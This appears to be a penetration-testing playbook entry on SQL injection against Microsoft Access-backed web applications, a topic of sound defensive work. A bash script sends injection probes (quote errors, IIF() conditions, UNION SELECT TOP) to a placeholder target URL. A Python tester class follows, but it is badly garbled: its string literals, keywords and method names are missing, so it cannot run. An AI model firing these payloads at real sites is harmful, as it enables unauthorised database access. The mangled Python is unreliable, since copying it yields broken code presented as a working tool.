wstg-inpv-05-5

name	wstg-inpv-05.5
description	Testing for SQL Injection - MS Access
category	input-validation
owasp_id	WSTG-INPV-05.5
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.5

Test ID

WSTG-INPV-05.5

Test Name

Testing for SQL Injection - MS Access

High-Level Description

Microsoft Access SQL injection testing targets Access databases (Jet/ACE engine) often used in legacy or small-scale web applications. Access has limited features compared to enterprise databases but can still be exploited for data extraction and authentication bypass.

---

What to Check

• Access-specific error messages
• MSysObjects system table
• IIF() function (Access-specific)
• TOP keyword instead of LIMIT
• Date format (#date#)

---

How to Test

Step 1: MS Access Detection

#!/bin/bash
TARGET="https://target.com/product?id="

echo "[*] Testing for MS Access database..."

# Error-based detection
curl -s "${TARGET}'" | grep -iE "Microsoft Access|JET Database|ODBC Microsoft Access|\.mdb"

# Access-specific syntax test
curl -s "${TARGET}' AND IIF(1=1,1,0)=1--"

# TOP keyword (Access uses TOP not LIMIT)
curl -s "${TARGET}' UNION SELECT TOP 1 NULL--"

Step 2: MS Access SQLi Payloads

#!/usr/bin/env python3
"""
MS Access SQL Injection Tester
"""

import requests
import re

class AccessSQLiTester:
    def __init__(self, url):
        self.url = url
        self.findings = []
        .session = requests.Session()

    
    ACCESS_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    ACCESS_PAYLOADS = {
        : [
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            (, ),
            (, ),
        ],
        : [
            
            ,
        ],
    }

     ():
        
        ()

         payload  .ACCESS_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                 pattern  .ACCESS_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                         

             Exception  e:
                

         

     ():
        
        ()

         payload  .ACCESS_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                 response.status_code == :
                    has_error = 
                     pattern  .ACCESS_ERRORS:
                         re.search(pattern, response.text):
                            has_error = 
                            

                      has_error:
                        ()
                        .findings.append({
                            : ,
                            : payload,
                            : 
                        })
                         

             Exception  e:
                

         

     ():
        
         .detect_access(param):
            .test_union_based(param)

        .generate_report()

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()


tester = AccessSQLiTester()
tester.run_tests(param=)